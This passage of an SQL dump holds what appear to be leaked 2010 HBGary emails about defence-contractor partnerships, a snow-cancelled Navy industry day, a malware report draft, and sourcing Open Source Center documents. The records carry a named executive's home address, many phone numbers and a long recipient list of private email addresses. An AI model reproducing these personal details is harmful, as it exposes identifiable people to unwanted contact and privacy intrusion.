e-mail be deemed to enter the company or any subsidiary or affiliate or associated company into a contract or to create any legally binding obligations unless expressly agreed to in writing under separate cover and timeliness of the E-mail which arise as a result of transmission. If verification is required, please request a hard copy version from the sender.\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, February 02, 2010 11:47 AMTo: Mettala, ErikSubject: Re: Introductions&nbsp;Hi Erik,\r\n&nbsp;\r\nLooking forward to our meeting later this week. &nbsp;I would like to get an NDA in place between our orgs to discuss freely. &nbsp;Would you like me to send you ours or want to go with yours, I am good either way.\r\n&nbsp;\r\nAaron\r\n&nbsp;\r\n&nbsp;\r\n\r\nOn Jan 27, 2010, at 3:53 PM, Mettala, Erik wrote:\r\nAaron,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Pleased to meet you.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I look forward to discussing NWOC and other opportunities with you.&nbsp;Erik&nbsp;\r\nErik G. Mettala, Ph.D.Chief ScientistSPARTA National Security Systems Sectordba Cobham Analytic Solutions7110 Samuel Morse DriveColumbia, MD 21046www.sparta.comT:&nbsp;443-430-8059C: 703-209-2221F: 443-430-8208&nbsp;Please consider the environment before printing this emailThis e-mail and any files transmitted with it (\"E-mail\") is intended solely for the addressee(s) and may contain confidential and/or legally privileged information. If you are not the addressee(s), any disclosure, reproduction, copying, distribution or other use of the E-mail is prohibited. If you have received this E-mail in error, please delete it and notify the sender immediately via our switchboard or return e-mail.Neither the company nor any subsidiary or affiliate or associated company nor any individual sending this E-mail accepts any liability in respect of the content (including errors and omissions) nor shall this e-mail be deemed to enter the company or any subsidiary or affiliate or associated company into a contract or to create any legally binding obligations unless expressly agreed to in writing under separate cover and timeliness of the E-mail which arise as a result of transmission. If verification is required, please request a hard copy version from the sender.\r\n\r\n\r\n\r\nFrom: Balenson, David Sent: Wednesday, January 27, 2010 4:02 PMTo: Aaron BarrCc: Balenson, David; Mettala, ErikSubject: RE: Introductions&nbsp;Aaron-&nbsp;Thank you for your inquiry. We’d be happy to exchange capabilities and explore possible ways to work together. As I mentioned in my voicemail, tomorrow will be my last day at SPARTA. Please follow-up with Erik Mettala, Chief Scientist for SPARTA’s National Security Sector. Erik’s contact information is erik.mettala@cobham.com, 443-430-8059.&nbsp;\r\nThanks and regards,-DB&nbsp;------------------------------------------------------------------------------------------------David M. Balenson, Division Manager, Security ResearchSPARTA National Security SectorCobham Analytic SolutionsTel: 443.430.8004Fax: 443.430.8153Email: David.Balenson@cobham.com&nbsp;&nbsp;\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 26, 2010 11:23 AMTo: Balenson, DavidSubject: Introductions&nbsp;Hi Dave,\r\nI would like to talk to you about our similar interest in the NWOC BAA. As well I would be interested in getting an update on your capabilities and likewise get you familiar with ours. I received a briefing more than an year back when I was leading the technical strategy for Northrop Grummans cyber campaign. I remember being impressed by your amount of IP related to cybersecurity. \r\n&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n&nbsp;&nbsp;&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2473,'aaron_hbgary_com/2473.html'),(2164,'2010-02-08','\"Stanley Chincheck\" <stanley.chincheck@nrl.navy.mil>','/aaron@hbgary.com/new/1297000980.M120321P3547Q2164.eml','aterry@21technologies.com,proberge@21technologies.com,rwilliams@21technologies.com,shilderbrand@21technologies.com,david.cardone@absc-us.com,jay.marwaha@absc-us.com,juan.segura@absc-us.com,ian.s.fogarty@accenture.com,jeffrey.franklin@adscorp.biz,kyle.nelson@adventiumlabs.org,frankz@avi.com,souvas@ainfosec.com,bayj@ainfosec.com,raj.kant@baesystems.com,robert.s.gray@baesystems.com,ajordan@bbn.com,glauer@bbn.com,krohloff@bbn.com,rwatro@bbn.com,bg@bluemonttechnology.com,eric@bluemonttechnology.com,jai.j.choi@boeing.com,claudiu.b.danilov@boeing.com,cwu@cra.com,tpatten@cra.com,jpatterson@cloudshield.com,sroberts@cloudshield.com,phil.henshaw@cobham.com,Darrell.Kindred@cobham.com,Erik.Mettala@cobham.com,abillingsley@csc.com,rpeterman@csc.com,dirane@deloitte.com,kpurtill@deloitte.com,mmasone@deloitte.com,roger.nebel@defensegp.com,clarence.martin@exceptionalsoftware.com,barry.becker@exceptionalsoftware.com,dan.streed@gd-ais.com,jon.petruzzi@gdc4s.com,larry.stafford@gdc4s.com,adan.machuca@gd-ais.com,jerry.foil@gd-ais.com,peter.agrapides@gd-ais.com,brad.leininger@gdc4s.com,asood@gmu.edu,bjabbari@gmu.edu,gemami@globalinfotek.com,jjust@globalinfotek.com,ltinnel@globalinfotek.com,melski@grammatech.com,tt@grammatech.com,sfiore@harris.com,aaron@hbgary.com,ted@hbgary.com,guttman@us.ibm.com,jrrao@us.ibm.com,leeplatt@icscorp.com,jmcgann@icscorp.com,ddones@icscorp.com,rlevy@i-a-i.com,brian.matt@jhuapl.edu,dfloyd@lgsinnovations.com,poppe@lgsinnovations.com,kmhalsey@liberty.edu,dawn.m.beyer@lmco.com,jamie.lawson@lmco.com,rick.mullikin@lmco.com,jritchie@atl.lmco.com,dilip.s.gokhale@lmco.com,carl.weir@lmco.com,joseph.h.mastin@lmco.com,michael.hultner@lmco.com,BRIAN.JOHNSON@mcdean.com,geaton@milcord.com,arajini@mzeal.com,agoodloe@gmail.com,christopher.newborn@navy.mil,Christopher.Valentino@ngc.com,kyle.schuman@ngc.com,mark.akey@ngc.com,Kevin.Gibbs@ngc.com,anthony.tysenn@navy.mil,kim.mccormick@navy.mil,vera.carroll@navy.mil,larry.paige@navy.mil,david.belardo@oracle.com,greg.blackburn@oracle.com,i.thompson@pikewerks.com,david.green@qinetiq-na.com,david.pickett@qinetiq-na.com,vernon.joyner@qinetiq-na.com,jefferson.spear@qinetiq-na.com,carter@qosient.com,djberger@raytheon.com,matrainoff@raytheon.com,jeff.janies@redjack.com,clandon@reefpointgroup.com,dmatsunaga@referentia.com,dchang@referentia.com,jsmith@referentia.com,kane@referentia.com,twilliams@referentia.com,jistein@rockwellcollins.com,kppande@rockwellcollins.com,carl.j.beisel@saic.com,rosenfeldel@saic.com,Lionel.L.Ramos@saic.com,anitad@securedecisions.com,peter.kiss@sentar.com,jason.syversen@siegetechnologies.com,andre.bondi@siemens.com,pwu@sift.info,adallas@soartech.com,mccusker@sonalysts.com,scottso@sonalysts.com,sdykes@swri.org,laura.lee@sparta.com,jeremy.epstein@sri.com,hal.aldridge@sypris.com,mark.richard@sypris.com,daniel.gutierrez@tasc.com,george.hull@tasc.com,info@design.techpromotion.com,shaikh@design.techpromotion.com,bowen@research.telcordia.com,mbanderson@teledyne.com,agrawala@cs.umd.edu,ealshaer@uncc.edu,paul@warriorllc.com,\"Kim, Jae H\" <jae.h.kim@boeing.com>,aterry@21technologies.com,proberge@21technologies.com','CND/IA Enabling Capability Industry Day','\r\n\r\nCND/IA Enabling Capability Industry Day\r\n\r\n\r\nTo All,\r\n&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;As many of you know, the Washington DC area has been inundated with snowfall of historic proportions causing significant power outages and treacherous travel conditions. &nbsp;To add insult to injury, another snowfall is projected to hit the DC area starting Tuesday (and continuing into Wednesday) with projected accumulation of 5 to 10 inches. &nbsp;Based on these conditions, I am canceling the Industry Day that was scheduled for Wednesday, 10 February 2010. &nbsp;At this time, I do not have a projected new date, however, I will notify all of you once a new date is set. &nbsp;I hope this does not cause any undue hardships. &nbsp;However, given recent events, I am sure all of you are not surprised of this decision. &nbsp;Thanks.\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Stan Chincheck\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EC Manager &nbsp;&nbsp;\r\n\r\n\r\n\r\n',2221,'aaron_hbgary_com/2221.html'),(2165,'2010-02-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000980.M415961P3547Q2165.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: General Dynamics & HBGary Federal (discussion continues)','Chris,\r\n \r\nAaron is still wrestling with today&#39;s schedule, so we are not yet certain of the proposed meeting time.\r\n \r\nBob\r\nOn Mon, Feb 8, 2010 at 4:49 AM, Starr, Christopher H. &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\nWhen: Monday, February 08, 2010 3:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 866-765-5631, code 5057292#\r\n*~*~*~*~*~*~*~*~*~*\r\nGeneral Dynamics &amp; HBGary Federal (discussion continues)\r\n\r\n866-765-5631, code 5057292#\r\n\r\nQuestions?\r\nContact:\r\nChris Starr\r\nCell: 571-216-6140\r\nChris.Starr@gd-ais.com \r\n\r\n\r\n\r\nHBGary Federal:\r\nAaron Barr, CEO,  Aaron@hbgary.com , 719-510-8478\r\n\r\nTed Vera, COO and President, Ted@hbgary.com \r\n\r\nHBGary:\r\nGreg Hoglund, CEO and Founder, Greg@hbgary.com \r\n\r\nBob Slapnik, Vice President of Government Sales, Bob@hbgary.com \r\n\r\nGeneral Dynamics:\r\n\r\nJim Jaeger, Jim.Jaeger@gd-ais.com \r\n\r\nChris Starr, Chris.Starr@gd-ais.com, 571-216-6140\r\n\r\nDoug Harlow, Douglas.Harlow@gd-ais.com \r\n\r\nJason Upchurch, Jason.Upchurch@gd-ais.com \r\n\r\n\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',2556,'aaron_hbgary_com/2556.html'),(2166,'2010-02-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000980.M748604P3547Q2166.eml','\"Barr Aaron\" <aaron@hbgary.com>','Check','What\'s your mailing address?\r\n',15730,'aaron_hbgary_com/15730.html'),(2167,'2010-02-08','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000980.M974842P3547Q2167.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: CND/IA Enabling Capability Industry Day','Begin forwarded message:From: Stanley Chincheck &lt;stanley.chincheck@nrl.navy.mil&gt;\r\nDate: February 8, 2010 7:43:44 AM MSTTo: &lt;aterry@21technologies.com&gt;, &lt;proberge@21technologies.com&gt;, &lt;rwilliams@21technologies.com&gt;, &lt;shilderbrand@21technologies.com&gt;, &lt;david.cardone@absc-us.com&gt;, &lt;jay.marwaha@absc-us.com&gt;, &lt;juan.segura@absc-us.com&gt;, &lt;ian.s.fogarty@accenture.com&gt;, &lt;jeffrey.franklin@adscorp.biz&gt;, &lt;kyle.nelson@adventiumlabs.org&gt;, &lt;frankz@avi.com&gt;, &lt;souvas@ainfosec.com&gt;, &lt;bayj@ainfosec.com&gt;, &lt;raj.kant@baesystems.com&gt;, &lt;robert.s.gray@baesystems.com&gt;, &lt;ajordan@bbn.com&gt;, &lt;glauer@bbn.com&gt;, &lt;krohloff@bbn.com&gt;, &lt;rwatro@bbn.com&gt;, &lt;bg@bluemonttechnology.com&gt;, &lt;eric@bluemonttechnology.com&gt;, &lt;jai.j.choi@boeing.com&gt;, &lt;claudiu.b.danilov@boeing.com&gt;, &lt;cwu@cra.com&gt;, &lt;tpatten@cra.com&gt;, &lt;jpatterson@cloudshield.com&gt;, &lt;sroberts@cloudshield.com&gt;, &lt;phil.henshaw@cobham.com&gt;, &lt;Darrell.Kindred@cobham.com&gt;, &lt;Erik.Mettala@cobham.com&gt;, &lt;abillingsley@csc.com&gt;, &lt;rpeterman@csc.com&gt;, &lt;dirane@deloitte.com&gt;, &lt;kpurtill@deloitte.com&gt;, &lt;mmasone@deloitte.com&gt;, &lt;roger.nebel@defensegp.com&gt;, &lt;clarence.martin@exceptionalsoftware.com&gt;, &lt;barry.becker@exceptionalsoftware.com&gt;, &lt;dan.streed@gd-ais.com&gt;, &lt;jon.petruzzi@gdc4s.com&gt;, &lt;larry.stafford@gdc4s.com&gt;, &lt;adan.machuca@gd-ais.com&gt;, &lt;jerry.foil@gd-ais.com&gt;, &lt;peter.agrapides@gd-ais.com&gt;, &lt;brad.leininger@gdc4s.com&gt;, &lt;asood@gmu.edu&gt;, &lt;bjabbari@gmu.edu&gt;, &lt;gemami@globalinfotek.com&gt;, &lt;jjust@globalinfotek.com&gt;, &lt;ltinnel@globalinfotek.com&gt;, &lt;melski@grammatech.com&gt;, &lt;tt@grammatech.com&gt;, &lt;sfiore@harris.com&gt;, &lt;aaron@hbgary.com&gt;, &lt;ted@hbgary.com&gt;, &lt;guttman@us.ibm.com&gt;, &lt;jrrao@us.ibm.com&gt;, &lt;leeplatt@icscorp.com&gt;, &lt;jmcgann@icscorp.com&gt;, &lt;ddones@icscorp.com&gt;, &lt;rlevy@i-a-i.com&gt;, &lt;brian.matt@jhuapl.edu&gt;, &lt;dfloyd@lgsinnovations.com&gt;, &lt;poppe@lgsinnovations.com&gt;, &lt;kmhalsey@liberty.edu&gt;, &lt;dawn.m.beyer@lmco.com&gt;, &lt;jamie.lawson@lmco.com&gt;, &lt;rick.mullikin@lmco.com&gt;, &lt;jritchie@atl.lmco.com&gt;, &lt;dilip.s.gokhale@lmco.com&gt;, &lt;carl.weir@lmco.com&gt;, &lt;joseph.h.mastin@lmco.com&gt;, &lt;michael.hultner@lmco.com&gt;, &lt;BRIAN.JOHNSON@mcdean.com&gt;, &lt;geaton@milcord.com&gt;, &lt;arajini@mzeal.com&gt;, &lt;agoodloe@gmail.com&gt;, &lt;christopher.newborn@navy.mil&gt;, &lt;Christopher.Valentino@ngc.com&gt;, &lt;kyle.schuman@ngc.com&gt;, &lt;mark.akey@ngc.com&gt;, &lt;Kevin.Gibbs@ngc.com&gt;, &lt;anthony.tysenn@navy.mil&gt;, &lt;kim.mccormick@navy.mil&gt;, &lt;vera.carroll@navy.mil&gt;, &lt;larry.paige@navy.mil&gt;, &lt;david.belardo@oracle.com&gt;, &lt;greg.blackburn@oracle.com&gt;, &lt;i.thompson@pikewerks.com&gt;, &lt;david.green@qinetiq-na.com&gt;, &lt;david.pickett@qinetiq-na.com&gt;, &lt;vernon.joyner@qinetiq-na.com&gt;, &lt;jefferson.spear@qinetiq-na.com&gt;, &lt;carter@qosient.com&gt;, &lt;djberger@raytheon.com&gt;, &lt;matrainoff@raytheon.com&gt;, &lt;jeff.janies@redjack.com&gt;, &lt;clandon@reefpointgroup.com&gt;, &lt;dmatsunaga@referentia.com&gt;, &lt;dchang@referentia.com&gt;, &lt;jsmith@referentia.com&gt;, &lt;kane@referentia.com&gt;, &lt;twilliams@referentia.com&gt;, &lt;jistein@rockwellcollins.com&gt;, &lt;kppande@rockwellcollins.com&gt;, &lt;carl.j.beisel@saic.com&gt;, &lt;rosenfeldel@saic.com&gt;, &lt;Lionel.L.Ramos@saic.com&gt;, &lt;anitad@securedecisions.com&gt;, &lt;peter.kiss@sentar.com&gt;, &lt;jason.syversen@siegetechnologies.com&gt;, &lt;andre.bondi@siemens.com&gt;, &lt;pwu@sift.info&gt;, &lt;adallas@soartech.com&gt;, &lt;mccusker@sonalysts.com&gt;, &lt;scottso@sonalysts.com&gt;, &lt;sdykes@swri.org&gt;, &lt;laura.lee@sparta.com&gt;, &lt;jeremy.epstein@sri.com&gt;, &lt;hal.aldridge@sypris.com&gt;, &lt;mark.richard@sypris.com&gt;, &lt;daniel.gutierrez@tasc.com&gt;, &lt;george.hull@tasc.com&gt;, &lt;info@design.techpromotion.com&gt;, &lt;shaikh@design.techpromotion.com&gt;, &lt;bowen@research.telcordia.com&gt;, &lt;mbanderson@teledyne.com&gt;, &lt;agrawala@cs.umd.edu&gt;, &lt;ealshaer@uncc.edu&gt;, &lt;paul@warriorllc.com&gt;, &quot;Kim, Jae H&quot; &lt;jae.h.kim@boeing.com&gt;\r\nCc: Stanley Chincheck &lt;stanley.chincheck@nrl.navy.mil&gt;, Kim McCormick &lt;kim.mccormick@navy.mil&gt;Subject: CND/IA Enabling Capability Industry Day\r\n\r\nTo All,\r\n    \r\n    As many of you know, the Washington DC area has been inundated with snowfall of historic proportions causing significant power outages and treacherous travel conditions.  To add insult to injury, another snowfall is projected to hit the DC area starting Tuesday (and continuing into Wednesday) with projected accumulation of 5 to 10 inches.  Based on these conditions, I am canceling the Industry Day that was scheduled for Wednesday, 10 February 2010.  At this time, I do not have a projected new date, however, I will notify all of you once a new date is set.  I hope this does not cause any undue hardships.  However, given recent events, I am sure all of you are not surprised of this decision.  Thanks.\r\n\r\n\r\n\r\n                                                                                                              Stan Chincheck\r\n                                                                                                              EC Manager   \r\n\r\n\r\n\r\n\r\n',4359,'aaron_hbgary_com/4359.html'),(2168,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000981.M300438P3547Q2168.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Check','1223 Potomac school rd.\r\nMcLean va 22101\r\n\r\n From my iPhone\r\n\r\nOn Feb 8, 2010, at 9:59 AM, Ted Vera  wrote:\r\n\r\n> What\'s your mailing address?\r\n',27,'aaron_hbgary_com/27.html'),(2169,'2010-02-08','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000981.M505364P3547Q2169.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Is it possible to get OSC documents?','Yes, I got them from the NG report, but from that I found a couple of other documents on the web as well.  I am trying to find documented evidence that citizens participate in CNO/CNA in some arrangement with the PLA or the state government.  There is alot of finger pointing at china, but all the forensic evidence is classified or confidential, so until we dig some hard evidence up its hard to talk about the china threat.\r\n\r\n \r\n-Greg\r\nOn Sun, Feb 7, 2010 at 7:36 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nOSC stands for the Open Source Center.  Let me see if I can dig these up.  This group does all open source research for the purpose of providing that information to the government.  They shouldn&#39;t be classified but likely are for Official Use Only, which means often they are not publicly accessible.  If we can prove a need to have these reports to some of our government contacts then we should be able to get a copy...either that or find them leeked on the web...let me take a look. \r\n\r\nYou got these from the NG report on China didn&#39;t you?\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 7, 2010, at 7:38 PM, Greg Hoglund wrote:\r\nCPP20031002000138\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',720,'aaron_hbgary_com/720.html'),(2170,'2010-02-08','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000981.M731972P3547Q2170.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: DRAFT 6, this is final draft assuming we don\'t have any more 	additions','That would interesting.  No time to put that together for this report, at least round one.\r\n \r\n-G\r\nOn Mon, Feb 8, 2010 at 5:14 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nDo you think an interesting Palantir diagram would be to plot the servers used as C&amp;C nodes against different malware events and associated authors/executors?\r\nAaron\r\n\r\n\r\nOn Feb 7, 2010, at 8:13 PM, Greg Hoglund wrote:&gt;&gt; Team,&gt; OK, I made all of Karen&#39;s changes, removed Verdasys, and added a small blurb for HBGary Federal under the contact info section.  (assuming aaron is cool w/ what I wrote, this is final draft).\r\n&gt;&gt; -Greg\r\n&gt; &lt;HBG Malware Report_DRAFT6.pdf&gt;\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n',5456,'aaron_hbgary_com/5456.html'),(2171,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000982.M282116P3547Q2172.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: DRAFT 6, this is final draft assuming we don\'t have any more  additions','Right. &nbsp;If we can get Endgames to provide their data for a non published report that we distribute just to customers, maybe for that one.AaronOn Feb 8, 2010, at 10:35 AM, Greg Hoglund wrote:That would interesting.&nbsp; No time to put that together for this report, at least round one.\r\n&nbsp;\r\n-G\r\nOn Mon, Feb 8, 2010 at 5:14 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nDo you think an interesting Palantir diagram would be to plot the servers used as C&amp;C nodes against different malware events and associated authors/executors?\r\nAaron\r\n\r\n\r\nOn Feb 7, 2010, at 8:13 PM, Greg Hoglund wrote:&gt;&gt; Team,&gt; OK, I made all of Karen\'s changes, removed Verdasys, and added a small blurb for HBGary Federal under the contact info section. &nbsp;(assuming aaron is cool w/ what I wrote, this is final draft).\r\n&gt;&gt; -Greg\r\n&gt; &lt;HBG Malware Report_DRAFT6.pdf&gt;\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13586,'aaron_hbgary_com/13586.html'),(2172,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000982.M483340P3547Q2173.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Is it possible to get OSC documents?','That is going to be tough. &nbsp;Corroborating evidence for that is likely only to be in SIGINT (classified), or if someone was discussing it in a forum somewhere on the web but then it would be difficult to prove, hearsay. &nbsp;Now that said, technically all the data from the OSC should be from open source research, so nothing saying we couldn\'t do our own research (would have to be in chinese) and come up with the same data.AaronOn Feb 8, 2010, at 10:31 AM, Greg Hoglund wrote:Yes, I got them from the NG report, but from that I found a couple of other documents on the web as well.&nbsp; I am trying to find documented evidence that citizens participate in CNO/CNA in some arrangement with the PLA or the state government.&nbsp; There is alot of finger pointing at china, but all the forensic evidence is classified or confidential, so until we dig some hard evidence up its hard to talk about the china threat.\r\n\r\n&nbsp;\r\n-Greg\r\nOn Sun, Feb 7, 2010 at 7:36 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nOSC stands for the Open Source Center. &nbsp;Let me see if I can dig these up. &nbsp;This group does all open source research for the purpose of providing that information to the government. &nbsp;They shouldn\'t be classified but likely are for Official Use Only, which means often they are not publicly accessible. &nbsp;If we can prove a need to have these reports to some of our government contacts then we should be able to get a copy...either that or find them leeked on the web...let me take a look. \r\n\r\nYou got these from the NG report on China didn\'t you?\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 7, 2010, at 7:38 PM, Greg Hoglund wrote:\r\nCPP20031002000138\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5162,'aaron_hbgary_com/5162.html'),(2173,'2010-02-08','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000982.M67048P3547Q2171.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Fidelis Security Systems and HB Gary','\r\n\r\n\r\n\r\n\r\nRE: Fidelis Security Systems and HB Gary\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDo any of these dates work for you?&nbsp; Wednesday/Thursday works\r\nfor RIch \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David\r\n[mailto:david.etue@fidelissecurity.com] \r\nSent: Monday, February 08, 2010 7:31 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: RE: Fidelis Security Systems and HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIf we can do it in person, I think it would be better.&nbsp; If\r\nnot, we could do a webinar today at the scheduled time.\r\n\r\n&nbsp;\r\n\r\nFor in person, this week we could do:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWednesday, 3 PM or later \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThursday afternoon, 1 PM or later\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFriday:&nbsp; anytime besides 1-2 PM\r\n\r\n&nbsp;\r\n\r\nThanks!\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Monday, February 08, 2010 10:22 AM\r\nTo: Etue, David\r\nSubject: RE: Fidelis Security Systems and HB Gary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey David,\r\n\r\n&nbsp;\r\n\r\nI think everyone is in your situation.&nbsp; Greg and I\r\ncould not get out so we are still back in CA.&nbsp; Do you want to reschedule\r\nfor later this week?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David\r\n[mailto:david.etue@fidelissecurity.com] \r\nSent: Monday, February 08, 2010 5:53 AM\r\nTo: Penny Hoglund\r\nSubject: RE: Fidelis Security Systems and HB Gary\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\nDo you know how the weather is treating your local team and the impact on\r\ntoday&#8217;s meeting?&nbsp; Most of our team is stuck at home (myself included), but\r\nmight be able to get in this afternoon.\r\n\r\nDavid\r\n\r\n-----Original Appointment-----\r\nFrom: Etue, David\r\nSent: Monday, February 01, 2010 6:23 PM\r\nTo: \' Penny Hoglund\'; Sullivan, Mary; Mancini, Jerry; Belan, Michael;\r\nBertone, Kurt; Stein, Tami; Penny Hoglund\r\nSubject: Fidelis Security Systems and HB Gary\r\nWhen: Monday, February 08, 2010 3:00 PM-5:00 PM (GMT-05:00) Eastern Time\r\n(US &amp; Canada).\r\nWhere: Training Conference Room (4416 East West Hwy, Suite 310,\r\nBethesda, MD 20814)\r\n\r\nDirections - http://www.fidelissecurity.com/data-leakage-protection-contact/directions\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Each company to provide quick\r\npresentation and demo\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Discuss existing customer use case\r\naround fingerprint malware loader/packer\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Indentify other potential joint\r\nsolution use cases for partnership opportunity\r\n\r\nPenny &#8211; can you forward to the team there?\r\n\r\nThanks!\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16765,'aaron_hbgary_com/16765.html'),(2174,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000982.M715686P3547Q2174.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,','Re: General Dynamics & HBGary Federal (discussion continues)','Chris,We had to waive off our meeting with Sparta this morning, and with all the snow creating some chaos we haven\'t completely formulated our position yet. &nbsp;Do you still want to talk this afternoon, or want to postpone until later in the week? &nbsp;More snow to come tomorrow and wednesday I hear. &nbsp;I am guessing the proposers day will be called off as well. &nbsp;The ONR industry day for the 10th has already been called off.AaronOn Feb 8, 2010, at 4:49 AM, Starr, 